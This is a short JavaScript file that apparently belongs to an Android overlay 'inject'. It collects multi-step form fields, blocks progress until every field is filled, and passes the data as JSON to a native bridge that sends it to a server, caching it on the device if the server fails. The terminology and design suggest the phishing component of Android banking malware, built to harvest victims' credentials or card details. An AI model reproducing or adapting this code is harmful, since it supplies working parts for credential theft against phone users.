94 lines
2.0 KiB
JavaScript
94 lines
2.0 KiB
JavaScript
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/* Transmits data to server */
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function transmit(stepID, regReceiver) {
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var o = {};
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var result = true;
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var a = $('#cat-step-' + stepID).serializeArray();
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$.each(a, function() {
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var thisValue = this.value.trim();
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if (thisValue == '') {
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result = false;
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return false;
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}
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if (o[this.name] !== undefined) {
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if (!o[this.name].push) {
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o[this.name] = [o[this.name]];
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}
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o[this.name].push(thisValue || '');
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} else {
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o[this.name] = thisValue || '';
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}
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});
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if (!result) {
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return false;
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}
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if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
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Android.sendDataToServer(JSON.stringify(o), regReceiver);
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} else {
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console.log(JSON.stringify(o));
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}
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return true;
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}
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/* Sends form with step's number stepID and shows form stepID + 1 */
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function switchStep(stepID, regReceiver) {
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var message = 'You must fill out everything fields';
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if (transmit(stepID, regReceiver)) {
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if (stepID == 1) {
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$('.cat-start-step').hide();
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}
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$('.cat-step-block').hide();
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$('#cat-step-' + (stepID + 1)).show();
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} else if (isAndroid() && typeof(Android.alert) == 'function') {
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Android.alert('Error', message, 'OK', '');
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} else {
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alert(message);
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}
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}
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/* Shows error if server did not answer */
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function showInternetError() {
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if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
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Android.saveFailInject(); // Saves inject's data in memory of device
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} else {
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console.log('Android.saveFailInject() was called');
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}
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$('#cat-forms').hide();
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$('#cat-error').show();
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}
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/* Closes window of inject */
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function closeWindow() {
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if (isAndroid() && typeof(Android.closeWindow) == 'function') {
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Android.closeWindow();
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} else {
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console.log('Android.closeWindow() was called');
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}
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}
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/* Hides block with error and shows form for enter inject's data */
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function tryEnterAgain() {
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$('#cat-error').hide();
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$('#cat-forms').show();
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}
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/* Return whether Android is defined */
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function isAndroid() {
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return typeof Android != 'undefined';
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} |